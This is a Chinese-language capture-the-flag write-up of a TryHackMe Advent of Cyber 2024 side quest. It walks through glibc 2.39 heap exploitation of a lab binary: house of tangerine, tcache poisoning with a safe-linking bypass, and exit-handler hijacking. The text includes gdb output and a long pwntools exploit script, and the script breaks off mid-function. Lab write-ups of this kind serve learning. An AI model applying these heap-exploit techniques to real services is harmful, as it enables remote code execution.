-
-
[原创]从1开始Pwn - AOC24Sidequest 任务3 Writeup
-
发表于: 2025-2-18 01:59 2793
-
AOC24Sidequest 任务3
这是一篇流水账记载, 充满新手的感慨和心得, 必然影响 writeup 观瞻, 请坛友们见谅.
Pwn 是如此让人疲倦.
2025新年已过, 在新年初,我想白天都在串门走亲戚,晚上回家打游戏不如学习, Deepseek老板梁文锋研究机器学习可以5年从8W炒股炒到5个亿, 学了的这逆向有什么鸟用, 学机器学习! 不知道为什么就开始学习渗透了, 渗透也好玩, 那就学吧!
这是 Tryhackme adventofcyber2024 房间的简介中提示的更困难的房间. 困难房间中的每个任务, 必须在简单房间中先找到一张隐藏的图片, 有了其中的密钥才能继续玩.
AOC2024普通任务我玩完感觉已经学到不少了. 我想那就挑战下困难任务吧! 其中 任务1 和 任务2 我边做边作弊, 找得到办法就搞, 卡住了看 Writeup, 不得不说学到了很多技巧.
另外房间2 阴和阳也十分有趣, 推荐玩一玩
但房间3, 我觉得自己出师了, 毕竟也就花了半天时间,除了东西藏在哪个普通任务里的是靠作弊找到的, 后面的翻出来隐藏图片, 到钻进机器拿到第一个 答题的txt, 都是自己搞定的.
这个时候我根本不知道, 就像其中一个题目答案说的, 这只是开始, 至少对我,这还只是刚刚开始.
Wriptup 部分1
虽然我很想直接写 pwn 部分, 但 tryhackme 应该不喜欢上传房间里的文件到这儿, 那么想玩的话请按照这个部分去拿zip吧!
这个机器的密钥藏在第 12 天的房间里.
因为前面的一个藏密钥的房间, 就是通过扫目录找到的线索, 所以在这个房间也试一试, 发现的新目录可以用来查看其他用户产生的交易, 查询用的参数是MD5加密后的交易ID,顺带一提, 这个参数是MD5加密我是问 deepseek的: 你看它长的像什么?
在启动任务3的机器后, 需要先访问 21337 端口的网站解开 iptables 对访问的限制. 然后从另一个端口的网站, 可能还需要跑目录, 可以下载下来几个文件.
可以理解为, recommended-passwords.txt 是用户想使用的密码, 在设置密码前 通过 enc 程序又加密了一边才使用的.
用 zip2john 把 zip 转换为解密用的HASH值时, 可以只保留最短的那一个文件的HASH值,这样解的更快一点(?)
解开 zip 文件后, 可以得到下面的文件.
1 2 3 4 5 6 7 8 9 10 11 | Directory: E:\pwn\play\3\secure-storage\secure-storage Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025 /2/17 15:33 3321856 core -a---- 2024 /11/15 4:23 758 Dockerfile -a---- 2024 /12/5 12:26 32 foothold.txt -a---- 2024 /11/15 4:15 236616 ld-linux-x86-64.so.2 -a---- 2024 /11/15 4:15 6228984 libc.so.6 -a---- 2024 /12/6 7:30 24600 secureStor |
Pwn
如果你想看writeup, 请拉到最后面部分.
我曾经在几年前的 看雪CTF 下载了几个题目试一试, 其他的都很容易弄懂, 但有一个题目让我感到莫名其妙, 是一个 linux 文件和一个 libc.so, 反编译后里面就是一个简单的对话程序. 这有什么好破解的, 另外, 这跟拿到 flag 有什么关系?
百思不得其解, 我跑到CTF QQ 交流群里问, "这个题目是什么意思? 请大佬们指教下!"
有个朋友问我, 这个是pwn题目! 我马上追问, "pwn 是什么?"
这位朋友好心提醒我, 你不知道pwn是什么的话,做这个一下做不出来的! 还是不要浪费时间, 去做别的题目吧!
我当时就搜索了一圈, 对 pwn 有了一个概念. 在那个 CTF 结束后, 我搜索了一些栈溢出的文章看了, 也手动试了一下, 感觉也不过如此嘛. 下次遇到可以试一试.
那这次就遇到了.
入门
Zip 解压后的目录, 包含了 libc.so 和 ld.so, 以及原程序 secureStorage. 还有 Dockerfile 文件用来提示服务端是如何启动的.
分析 Dockerfile, 就明白服务器暴露的 1337 端口就是这个 secureStorage. 本地运行后, 和 nc IP 1337 得到的回显是一样的.
那我明白了,就是PWN了, 从 secureStorage 的流程很容易发现问题, 创建时可以指定它申请多大的内存, 同时, 它在写入时故意多写了 0x10 字节. 这就是很明显的提示了啊.
那么开始吧!
我想这是一个堆溢出, 我应该先学习一下堆溢出有哪些, 在一番杂七杂八的阅读后, 我意识到很多文章是有问题的, 只有单个知识点, 或者技巧的描述, 剩余部分都是总结式流水账似的代码和记载.
对于堆溢出的介绍的文章实在是多到汗牛充栋, 我虽然也写了一些总结, 不在此占据篇幅了. 但高手所写的文章, 也更高屋建瓴, 容易理解, 推荐2个我感觉非常有帮助的.
https://github.com/shellphish/how2heap/
https://ir0nstone.gitbook.io/notes/binexp/heap/introduction-to-the-heap
国内高手也有非常多十分之精彩的文章, 我在本文最后也推荐几篇非常精彩的文章.
我花了1天多时间, 学习了数十篇文章, 从模糊的概念到理解堆的缓存全都是给 free 准备的, 堆溢出应分为两个部分 1.溢出是什么, 和 2.怎么做到代码执行的.
我尽可能写的通俗易懂, 有两个概念非常重要, tcache 和 unsorted b8n 相当于 free 的堆内存(chunk)的二级缓存, fastbin, smallbin, largebin 则是一级缓存, top_chunk是直接申请libc预备的内存。
在这之间我意识到, 这个 secureStorage 程序是没有调用过 free 的!
先假设这个题目的解法, 从 how2heap 中是可以找得到的, 在 how2heap 仓库的示例中搜索 free 函数, 找不到的只有
1 2 3 4 5 6 7 8 9 | calc_tcache_idx.c house_of_force.c sysmalloc_int_free.c house_of_orange.c house_of_tangerine.c |
我的目标就在这几个之中. 实际的去看代码时,我马上意识到它们还有自己适应的libc版本. 而目标 libc.so 的版本是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | [*] libc6_2.39-0ubuntu8.2_amd64 BuildID: 08134323d00289185684a4cd177d202f39c2a5f3 MD5: c0b86652995f86fa7bf131547f8105c5 SHA1: e718addc37dff7ca12d61430c9865ce13166178d SHA256: fc4c52f3910ed57a088d19ab86c671358f5e917cd4e95b21fd08e4fd922c0aa2 Symbols: __libc_start_main_ret = 0x2a1ca dup2 = 0x116960 printf = 0x600f0 puts = 0x87bd0 read = 0x11ba50 str_bin_sh = 0x1cb42f system = 0x58740 write = 0x11c560 |
libc6_2.39
于是现在只需要研究3个了
- calc_tcache_idx
- sysmalloc_int_free
- house_of_tangerine.c
实验
calc_tcache_idx 中介绍自己只是演示如何计算 tcache_idx 的, 并不是演示溢出的. 略过
sysmalloc_int_free 非常有用, 编译后用 gdb 对照着看堆的布局.
我学到了破坏 top_chunk 的 size , 再去挤 top_chunk 是会把它挤到存放 free 块的 bin 里面去的.
house_of_tangerine 在调试这个代码时,我意识到它跟这次的目标程序 secureStorage 非常契合. 它其实就是 通过 sysmalloc_int_free 方式写入两个 tcache, 然后修改 tcache 中的项实现污染 tcache chunk内的指向前一个 tcache chunk的指针 fd, 从而实现的溢出.
搭建调试环境, 到实际弄明白 house_of_tangerine 是如何申请到任意地址的内存, 我又花了两天时间.
- gcc 编译成带符号的文件, gdb 调试时就可以按源码行步进了.
1 | gcc -g -o sysm sysmalloc_int_free.c |
- 我使用的是 gdb + gef 环境, gef 在显示 top_chunk 时, 破坏了堆之间的 size 会导致 top_chunk 不显示.
可以使用这个 commit 修复
即便对别人是怎么让程序就溢出了有概念了, 我脑袋里对如何搞这个程序还是没头没尾的.
我决定不管了, 开始操作 secureStorage
出发
在开工之前, 我想先有个思路, 从什么开始, 到什么结束, 中间不要有臆想的步骤, 这样就可以开始操作了.
在断断续续的思考一天后, 把学到的堆溢出类型, 和各路文章总结的libc执行方法, 在里面把跟这个题目看起来像是一回事的挑了出来, 我总结出下面的路线
*跟最后的实现有区别* 1. 利用 sysmalloc_int_free 创造一个 unsorted bin chunk 要被 free 的 chunk 大小要比 0x410 大 2. 读 libc 地址 unsorted bin chunk 出现后, alloc 一个 0x410 大的 chunk , 这个时候其内容前 0x10 字节就是 fd bd * 写入 \x0d 来截断 read 读的内容, \x00 截断会导致只能读出来自己写的东西. * 通过前一个 chunk先备份 unsorted bin chunk 的 prev_size, size , 再给里面都写满可打印字符 '0', 再去读前一个 chunk, 得到 fd= 0x7f fa aaaa 895a 3. 读 堆 地址 再分配 chunk, 产出一个 tcache . 重新申请出来 tcache , 从里面得到 堆地址, 借此恢复出来 `[fs:0x30]` 的值 * 或 fastbin 分配好后. 通过读取前一个可以获得 fastbin 中的堆内存的地址. 4. 再次利用 sysmalloc_int_free, House of Tangerine 方式覆盖 libc 中的 exit 会执行的结构的值, 构造好堆的内容. House of Tangerine 需要可以修改 chunk_header-> fd 指针 5. 让程序退出, 实现RCE
我的思路是,
- 程序可以多次超出堆内存范围去写入, 因此把 libc 和 堆地址都读出是可行的. 那问题就只是怎么读?
free 了放入 bin 中的内存块, 在一个bin里放了超过2个后, 都会通过 fd 和 bk 指针来把前后内存块串起来, 变成链表. 读到 free 的内存块的 fd / bk 指针即可获得堆地址.
搜索 pwn libc 地址, 容易获得 unsorted bin 的 fd bk 指针会指向 libc 中的内存的信息.
这里我的遇到问题是, 部分文章提到新版本 libc 堆里面的指针都进行了加密, 这次的目标 libc2.39 很不幸就属于这个版本. 那么 fd 和 bk 是否有加密? 我写了个释放不同大小内存的文件, 测试后确认, 只有 tcache 中的指针使用了“safe‐linking”机制进行加密处理.
- 可以设置环境变量关闭 TCACHE 二级缓存, 以便 free 后直接进入 bins
GLIBC_TUNABLES='glibc.malloc.tcache_count=0'
程序只能超写 0x10 字节, 但两个 chunk 间的间隔是 prev_size + size == 0x10 个字节, 那读取时能读到 0x10 之后的字节吗?
好消息是, 程序通过 puts 去读取的内存, puts 是认字符串的, 字符串不遇到 \x00 不结束.
而 fd 和 bk 作为地址, 小头方式储存的地址, 它除了最后1字节, 前7个字节都很可能是可读的.我这个时候对 Safe Linking 和 ptr mangle 的理解是它们是同一个东西, 所以在记得某篇文章说通过函数地址计算出来 ptr mangle 使用的key的情况下, 我认为暴出来 堆地址就有办法计算出 ptr mangle 的 key 了.
这是错误的secureStorage 程序有一个明确的 4.exit 功能, 我认为这是出题人给的明确的提示, 可以按照 exit 方式实现执行任意代码 。
于是开始实现代码, pwntools 非常好用, 借助它可以方便的在本地调试, 而后简单的改动就可以切换到线上版本去爆, 真是个聪明的工具.
1 2 3 4 5 6 7 | from pwn import * libc = ELF( './libc.so.6' ) ld = ELF( './ld-linux-x86-64.so.2' ) p = process( './secureStorage' ) gdb.attach(p) |
早期和中途的实现我未备份, 在这一天里,我测试成功了
[x] 把 0x20~0x1000 大小间的内存块 free 掉.
然后因为搞太晚了就去睡觉了. 到此花在这个Pwn上的时间已经5天了.
第二天继续!
在想好了怎么读 0x10 以外位置的 fd 和 bk, 准备开始写代码时, 我意识到一个问题
撞墙
house_of_tangerine 中进行 tcache 项覆盖的一段.
1 2 3 4 5 6 7 8 9 10 11 | // this will be our vuln_tcache for tcache poisoning vuln_tcache = ( size_t ) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2]; printf ( "tcache next ptr: 0x%lx\n" , vuln_tcache); // free the previous top_chunk heap_ptr = malloc (SIZE_3); // corrupt next ptr into pointing to target // use a heap leak to bypass safe linking (GLIBC >= 2.32) heap_ptr[(vuln_tcache - ( size_t ) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12); |
vuln_tcache 的地址是 chunk 内存(大小是SIZE_3)结束后 + 2size_t 的位置, 我反复的确认了这段代码, 最后通过 heap_ptr 计算 vuln_tcache 偏移写入的就是内存结束后 2size_t 的位置.
但, 2*size_t 就是等于 0x10 啊?
那如何写入到这个位置呢?
从前一个块往后正着写不行, 从后一个块往前反着写可以吗? 这个只是脑洞, 可以在搜索其他的堆溢出方法时留意一下, 而这个题目,它只给了我正着写的能力.
那么就是选择的路线错了吗?
我下载了how2heap上所有的 libc 2.39 适应的溢出方法, 仔细观察每个溢出的实现, 花费几个小时后,非常明确的,不显示调用 free , 就是只有 sysmalloc_int_free 这一类方法了: sysmalloc_int_free, house_of_orange.c, house_of_tangerine.c
但有一个发现提醒了我, house_of_einherjar 通过修改 prev_inuse bit 位, 在 free 后面一个的 chunk 时, 让它和前面的 chunk 进行了合并.
这让我灵机一动, 是否可以通过这种方式, 把两个 chunk 合起来?
我现在可以通过 top_chunk 来 free 任意大小的块了, 那么修改 top_chunk 中的 perv_inuse bit 位, 配合 sysmalloc_int_free 方法, 就可以把前面的 chunk 合并后放到 tcache 中了.
可惜
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2070 if (p != av->top) { if (contiguous (av)) { assert ((( char *) p) >= min_address); assert ((( char *) p + sz) <= (( char *) (av->top))); } } else { /* top size is always at least MINSIZE */ assert ((unsigned long ) (sz) >= MINSIZE); /* top predecessor always marked inuse */ assert (prev_inuse (p)); } |
不行, 因为 top predecessor always marked inuse - top 的 prev_size 必须标记成正在使用中的.
我开始仔细的看 malloc.c 的源码了
撞墙1
那么继续想脑洞, tcache 不行, top_chunk 不行, large bin 是否可以?
large bin 和普通的 bin- smallbin 中的结构不一样, 它的项的结构中多了两个成员, fd_nextsize 和 bk_nextsize. 能否修改和访问它们的值?
不能通过它们,这两个还在 正常的 fd 和 bk 指针后面挨着的, 更远了
如果能实现访问超出 +0x10 范围的地址,去修改 fd 和 bk 即可
而且把这两个成员值挤到后面的 chunk 里面去, 再来修改的思路也不通.
因为是通过覆盖 top_chunk 来制作 free 的, 这样是只能释放从 top_chunk 开始的地址的. 每次 top_chunk 释放一块内存后, top_chunk 的指针都会往后挪一大截, 这种方式 free 的chunk , 它前面的部分是自己人chunk, 后面的部分是系统给新 top_chunk 空出来的一大片内存(0x21000), 根本挨不着
撞墙2
top chunk -> bk -> bk
修改 top chunk 的 prev_size, 指示其 prev 有在 IN USE, 并且通过改 top chunk 的 prev_size, 让 top_chunk 的前一个 chunk 它指向一个自定义的 chunk header 1.
有两个思路
自定义的 chunk header 1->fd再指向下一个自定义的 chunk 2.
chunk 2 是 free 过的, 这样让下次 malloc 时就申请 chunk2 大小的, 拿到的 chunk2 变成自己想要的 fd自定义的 chunk1 header 的 fd 和 bk 进行了布局.
fd 指向 libc 中的地址. 下次 malloc 申请时申请到 libc 中的地址.
可惜, top chunk 的 prev_size 字段, libc 根本不拿它当链表用. 这个 prev_size 只是用来在 free top_chunk 前的块时提示需要合并进 top_chunk了.
而且自定义的 chunk1 如何让 malloc 会去找它拿 chunk ? 这个自定义的 chunks 不存在 arena.bins 和 tcache 中, malloc 也找不到它啊.
撞墙3
通过topchunk 可以给 tcache 中释放 chunk, 那么自定义 tcache 中的 chunk 的 header, 超写 0x10 可以覆盖 prev_size 和 当前 chunk size, 这样可以吗?
tcache 根本没有使用 prev_size 和 size, malloc 眼里 tcache 中的项的结构和其他bin的完全不一样. 一个 tcache chunk 在malloc 眼里的大小只取决于它被放在了哪个 tcache->entries
链表中.
tcache_entry 实际上就是把 mchunkptr 的结构中 fd, bk 位置使用了, 分别换成了 next 和 key.
另外, 在测试这个问题时我发现, 就算改了 tcache_entry->next, tcache->counts[tc_idx]
中的数量没有修改,malloc不会申请到后面的 tcache
gdb 在打印 tcache 时可能会遇到 找不到 tls 的问题.
1 2 3 | gef➤ print *(struct tcache_perthread_struct *)tcache Cannot find thread- local storage for process 445683, shared library . /libc .so.6: Cannot find thread- local variables on this target |
参考 gef 的源码, tcache的值就位于 heap_base +0x10 的位置, 或者使用下面这个命令查看 tcache 内容即可.
1 | heap bins tcache |
撞墙4
tcache不能修改 prev_size, 那么 fastbin 呢
占满 tcache 8个位置
先插一个chunk到 fastbin 里, 叫做 chunk1
修改 chunk1 的 prev_size, 使其指向手工构造出第二个 fastbin chunk2,
我搜索了 fastbin 的利用方法, 有介绍对 fastbin 中chunk的限制
fastbin chunk2 需要经过哪些限制?
- 双向链表完整性检查
- 内存对齐
- Size大于最少chunk需求, 小于内存空间.
看的一头雾水, 在阅读malloc代码后明白 fastbin 是这样的
在通过 arena.FastbinsY 数组, 和按照请求的大小计算出的索引, 取得对应大小的 fastbin chunk 的链表后, 每次取下一个 fastbin chunk都是通过 REVEAL_PTR (victim->fd) 去取下一个. 既 fd 指针.
chunk1.fd 如何修改? 既然可以改chunk1.fd了, 直接就可以使用tanglible方法了
- 要求 chunk2 的地址全在自己可写的范围, 以构造 prev_size size, fd, bk 指针
chunk2.fd => libc
可惜到第三步就卡住了.
作弊
我不信邪, 重新整理思路, 从新搜索堆溢出, CTF writeup, 从看源码,到看文章找思路, 又花了2天时间.
在我愁思苦想了很久后,想明白了, 我是新手, 如果有反着写的办法, 一定有人已经用过了,而我搜索时也会发现有人用过.
我没办法了! 最后我下定决心, 只看其他人是怎么利用这个 0x10 字节的, 看到了就停止不看后面内容了.
0xb0b 很强,膜拜下.
在代码中, 他使用了 house_of_tangerine 来写入内存, 但是, 他直接就那样写过去了? 没有任何特殊的处理, 直接就可以写到下一个chunk的 fd 地址, 这是如何做到的?
我有点迷茫, 但既然下定决心不看后面的, 那就到此为止. 知道了可以直接写这个关键的信息.
接下来我没有查资料,也没有测试,就在思考还有什么自己没发现的点.
我改了 house_of_tangerine 的内存申请和释放的顺序, 申请的前后大小, 在时好时坏的代码测试中, 我有点上头了.
直到某一刻, 我突然意识到, house_of_tangerine.c 中的地址和申请的大小都是对齐的 (MALLOC_ALIGN), 这就是摆在眼前的不同的地方, 0xb0b 的代码中, 他申请的 chunk 大小是 0xf98, 而 house_of_tangerine.c 中永远是申请对齐的内存的.
那么如果改变这个对齐呢?
一次测试后, 我发现有效果. 我写了一点代码, 专门测试申请不同大小的内存对 chunk 的布局的影响.
申请非对齐内存时 chunk 前后距离会变化
直接看结果吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | └─$ . /a sizeof(size_t) = 8 request2size(0x108) = 0x120 request2size(0x109) = 0x120 malloc(0x1000) a = 0x5619f7f872a0 a.size = 0x1011 top chunk pointer = 0x5619f7f882b0 top chunk pointer - &a = 0x5619f7f882b0 - 0x5619f7f872a0 = 0x1010 top chunk size is at 0x5619f7f882a8 malloc(0xff8) b = 0x5619f7f882b0 b.size = 0x1001 top chunk pointer = 0x5619f7f892b0 top chunk pointer - &b = 0x5619f7f892b0 - 0x5619f7f882b0 = 0x1000 top chunk size is at 0x5619f7f892a8 malloc(0x100) c = 0x5619f7f892b0 c.size = 0x111 top chunk pointer = 0x5619f7f893c0, top size = 0x1ec51 top chunk pointer - &c = 0x5619f7f893c0 - 0x5619f7f892b0 = 0x110 top chunk size is at 0x5619f7f893b8 malloc(0xf8); d = 0x5619f7f893c0 d.size = 0x101 top chunk pointer = 0x5619f7f894c0, top size = 0x1eb51 top chunk pointer - &d = 0x5619f7f894c0 - 0x5619f7f893c0 = 0x100 top chunk size is at 0x5619f7f894b8 malloc(0x10); e = 0x5619f7f894c0 e.size = 0x21 top chunk pointer = 0x5619f7f894e0, top size = 0x1eb31 top chunk pointer - &e = 0x5619f7f894e0 - 0x5619f7f894c0 = 0x20 top chunk size is at 0x5619f7f894d8 malloc(0x8); f = 0x5619f7f894e0 f.size = 0x21 top chunk pointer = 0x5619f7f89500, top size = 0x1eb11 top chunk pointer - &f = 0x5619f7f89500 - 0x5619f7f894e0 = 0x20 top chunk size is at 0x5619f7f894f8 malloc(0x101); g = 0x5619f7f89500 g.size = 0x111 top chunk pointer = 0x5619f7f89610, top size = 0x1ea01 top chunk pointer - &g = 0x5619f7f89610 - 0x5619f7f89500 = 0x110 top chunk size is at 0x5619f7f89608 malloc(0x10f); h = 0x5619f7f89610 h.size = 0x121 top chunk pointer = 0x5619f7f89730, top size = 0x1e8e1 top chunk pointer - &h = 0x5619f7f89730 - 0x5619f7f89610 = 0x120 top chunk size is at 0x5619f7f89728 malloc(0x100); i = 0x5619f7f89730 i.size = 0x111 top chunk pointer = 0x5619f7f89840, top size = 0x1e7d1 top chunk pointer - &i = 0x5619f7f89840 - 0x5619f7f89730 = 0x110 top chunk size is at 0x5619f7f89838 |
在意识到我发现的就是可以多写8字节的原因后, 我兴奋之余突然有点释然,就是不知道的知识嘛, 怎么想得到啊。
Exit
pwntool, gdb+gef, 开发工具十分好用, 我很快写出了可以申请到指定地址的脚手架, 现在只欠东风了, 准备 exit 吧!
在前两天的时间中, 我已经捋了几条通过 Exit 来执行的思路, 事后发现在这个程序上其实都可行的.
- __run_exit_handlers -> _dl_fini (ld.so) -> link_map ->
l_info[DT_FINI_ARRAY]
- 很多写 DT_FINI 的文章没有提要清理 DT_FINI_ARRAY, 哪怕是老版本的 libc, 可以通过 link_map 指定 l_addr, 来间接指定 DT_FINI 指向的函数的参数. 也必须清理掉 DT_FINI_ARRAY, 才不会被 DT_FINI_ARRAY 中的函数感染 RDI 参数.
- __run_exit_handlers-> __exit_funcs (libc.6.so) -> initial
- __run_exit_handlers->__call_tls_dtors()-> tls_dtor_list 劫持
在准备漏洞转执行这个过程中, 我发现了 one_gadget, 只需要执行一个地址就可以拿到 Shell, 那可真是太好了! 我忍不住测试了 one_gadget 给出了几个地址. 通过 dl_fini, dtor_list 都失败了, 看来最简单的路走不通了, 还是要去详细研究一下 exit.
说实话这时候已经有点泄气了, 还要去研究 exit? 都好几天晚上花时间搞这个了,我需要休息一下吧!
但是, 就在这两天, 我找到了两篇文章
Nightmare-Writeup
Nightmare-Writeup-开发者
这是一个极难,极折磨人的Pwn, 光看 writeup 可就是个噩梦. 只有1个字节可写, 没有办法获取内存布局. 开发者写的Writeup事无巨细, 也很精彩, 但自己做题的这位同志, 可真是一个个艰难要度过啊!
我想, 这么难的Pwn都能完成, 我虽然新手, 但面对的也没他那么难啊!
Writeup 部分 2
有了申请任意地址的能力, 其实已经踏入目标系统的门槛了.
在 exit 几种利用方法中, 我选了获取 ptr_mangle 的 POINTER_GUARD, 然后修改 initial 结构的方法, 因为这样最容易构造参数.
其实只碰到了3个问题
考虑到 原程序在接受输入时, 总会覆盖掉内存上原先的值.
而题目中的 libc2.39, 整个 libc 中可写可读的区域包含指向 ld.so 的指针只有在 .got 节里面.
如果任意覆盖 got 内容可能会导致程序报错. 而 原程序的 Create 命令申请了马上就写入, 中间没有办法去读原始值.
所以我试着给它传 \x00 和 \4 (EOF), 可惜都没有作用. 好消息是这也不影响程序指向申请tcache 内存时, 开始地址也必须是 MALLOC_ALIGN(0x10) 对齐的. 在申请到了 libc .got 内存里的 chunk 后, 非常奇怪的是 .got 里的值总是 0.
但在重启程序后确认这个地方本来是有值的. 研究后发现
malloc 在返回前会把返回的 chunk 内存+8 位置赋值 0
1 2 3 4 5 6 7 8 9 10 11 12 13 | 0x7f7152ead7bd <malloc+017d> mov QWORD PTR [rax+0x8], 0x0 → 0x7f7152ead7c5 <malloc+0185> add rsp, 0x18 0x7f7152ead7c9 <malloc+0189> pop rbx 0x7f7152ead7ca <malloc+018a> pop r12 0x7f7152ead7cc <malloc+018c> pop r13 0x7f7152ead7ce <malloc+018e> pop rbp 0x7f7152ead7cf <malloc+018f> ret ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [ #0] Id 1, Name: "secureStorage", stopped 0x7f7152ead7c5 in __GI___libc_malloc (), reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [ #0] 0x7f7152ead7c5 → __GI___libc_malloc(bytes=0x48) [ #1] 0x55db980664b5 → create() [ #2] 0x55db980666ee → main() |
因此申请时还应该把 +8 位置避开有值的内存, 好消息是 .got 中本来就连续为 0空位置很多, 把申请的内存头设置到那里即可.
- ptr_mangle 和 ptr_demange 是逆运算,
mangle 先 xor 后 rol
demangle 先 ror 后 xor
我写了2个 gdb 小脚本方便查看内存中 mangled 的地址.
1 2 | source ~ /Desktop/ptrdemangle .py ptrdemangle 0x1089484165 |
WriteUp 脚本
- 如果打 tryhackme 的话, 一定要开一个 attackbox, 自己连VPN延迟超过500, 整个执行过程实在太久了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 | from pwn import * libc = ELF( './libc.so.6' ) ld = ELF( './ld-linux-x86-64.so.2' ) p = remote( '10.10.193.90' , 1337 ) # p = process('./secureStorage') # gdb.attach(p) def create(index,size,data): p.sendlineafter(b '>>' , b '1' ) p.sendlineafter(b 'index:' , str (index).encode()) p.sendlineafter(b 'size:' , str (size).encode()) p.sendafter(b 'data:' , data) def edit(index,data): p.sendlineafter(b '>>' , b '3' ) p.sendlineafter(b 'index:' , str (index).encode()) p.sendafter(b 'data:' , data) def read(index): p.sendlineafter(b '>>' , b '2' ) p.sendlineafter(b 'index:' , str (index).encode()) p.recvline() return p.recvline() def sects_exit(): p.sendlineafter(b '>>' , b '4' ) # read until the n-th byte def read_until(index, n): orig = read(index)[: - 1 ] if len (orig) > = n: return orig cur = orig patched = [ False ] * n while len (cur) < = n: cur + = b 'X' edit(index, cur) next = read(index)[: - 1 ] if len ( next ) > len (cur): # we have read more than the original length # add the new bytes to the original string patched[ len (orig): len (cur)] = [ True ] * ( len (cur) - len (orig)) orig + = next [ len (orig):] elif len ( next ) > = n: # we have read until the n-th byte # pad orig with null bytes # orig += next[len(orig):n] orig + = b "\x00" * (n - len (orig)) break cur = next if len (cur) > = n: break arrayOrig = bytearray(orig) for i in range (n): if not patched[i]: # we have read this byte before continue arrayOrig[i] = 0 orig = bytes(arrayOrig) edit(index, orig) if len (orig) < n: raise ValueError( 'Failed to read until byte %d. Read len %d . Content: %r' % (n, len (orig), orig)) return orig[:n] # trick: 0xff8 会被对齐到 0x1000, 但 0xff8 后面的 chunk 与 0xff8 之间的距离会缩短 8 字节. CHUNK_HEADER_SIZE = 0x10 TOP_CHUNK_FENCEPOST_SIZE = 0x20 SPILL_OVER_SIZE = 0xff8 UNSORTED_BIN_SIZE = 0x410 PAGE_SIZE = 0x1000 PAGE_MASK = 0x1000 - 1 TCACHE_CHUNK_MAX_SIZE = 0x410 TCACHE_CHUNK_SIZE = 0x20 MALLOC_ALIGN = 0x10 MALLOC_MASK = ~(MALLOC_ALIGN - 1 ) # idx_count = 0 def new_idx(): global idx_count idx_count + = 1 return idx_count # 利用 house of tangible 申请指定地址的 chunk # addr: 指定的地址 # size: 申请的 chunk 大小 # heap_top_ptr: heap 中最新的 top_chunk 地址 # bug bug bug found here "8" def alloc_at(addr, size, last_top_ptr,top_chunk_size = 0x21000 ): FIRST_CHUNK_LAST_TOP_DIFF = 0xF90 SECNOD_CHUNK_LAST_TOP_DIFF = 0x21f90 TOP_CHUNK_DIFFRENT_BY_ALLOC = 0x44000 # size 向上对齐到 0x10 size_aligned = (size + MALLOC_ALIGN - 1 ) & MALLOC_MASK # size + 8 to reduce distance between chunks size_aligned + = 8 # addr 必须是按照 0x10 对齐的 assert addr % MALLOC_ALIGN = = 0 assert size_aligned < TCACHE_CHUNK_MAX_SIZE # 申请第一个 tcache chunk # MAGIC_OFFSET_0x21000 = 0x10 buckly_spillor = top_chunk_size - (size_aligned + CHUNK_HEADER_SIZE + TOP_CHUNK_FENCEPOST_SIZE) spillor = buckly_spillor & PAGE_MASK tmp_payload_data = b 'X' * spillor if 8 ! = calc_chunk_distance_by_size(size_aligned): tmp_payload_data + = p64( 0 ) top_size = (size_aligned + CHUNK_HEADER_SIZE + TOP_CHUNK_FENCEPOST_SIZE)| 1 else : top_size = (size_aligned - 8 + CHUNK_HEADER_SIZE + TOP_CHUNK_FENCEPOST_SIZE)| 1 tmp_payload_data + = p64(top_size) create(new_idx(), spillor, tmp_payload_data) first_tcache_chunk_idx = idx_count # create(new_idx(), SPILL_OVER_SIZE, b'S') # 申请第二个 tcache chunk create(new_idx(), spillor, tmp_payload_data) second_tcache_chunk_idx = idx_count create(new_idx(), SPILL_OVER_SIZE, b 'S' ) # 插入 target 地址 first_tcache_addr = last_top_ptr + FIRST_CHUNK_LAST_TOP_DIFF second_tcache_addr = last_top_ptr + SECNOD_CHUNK_LAST_TOP_DIFF safe_link_addr = addr ^ (second_tcache_addr >> 12 ) print ( "first_tcache_addr: " + hex (first_tcache_addr)) print ( "second_tcache_addr: " + hex (second_tcache_addr)) print ( "safe_link_addr: " + hex (safe_link_addr)) print ( "first_tcache_chunk_idx: " + str (first_tcache_chunk_idx)) print ( "second_tcache_chunk_idx: " + str (second_tcache_chunk_idx)) edit(second_tcache_chunk_idx, b "X" * spillor + p64((size_aligned + 8 )| 1 ) + p64(safe_link_addr)) create(new_idx(), size_aligned, b "\4" ) # \4 == EOF create(new_idx(), size_aligned, b '\4' ) # create(new_idx(), size_aligned, b'\4') # 返回对应的 idx 和 新的 top_chunk_ptr return idx_count, last_top_ptr + TOP_CHUNK_DIFFRENT_BY_ALLOC def get_shift_parameter(): lp_size = 8 # 默认 64 位 max_bits = lp_size * 8 rotation = 2 * lp_size + 1 return lp_size, max_bits, rotation def ror(val, r_bits, max_bits): mask = ( 1 << max_bits) - 1 return ((val & mask) >> r_bits) | (((val & mask) << 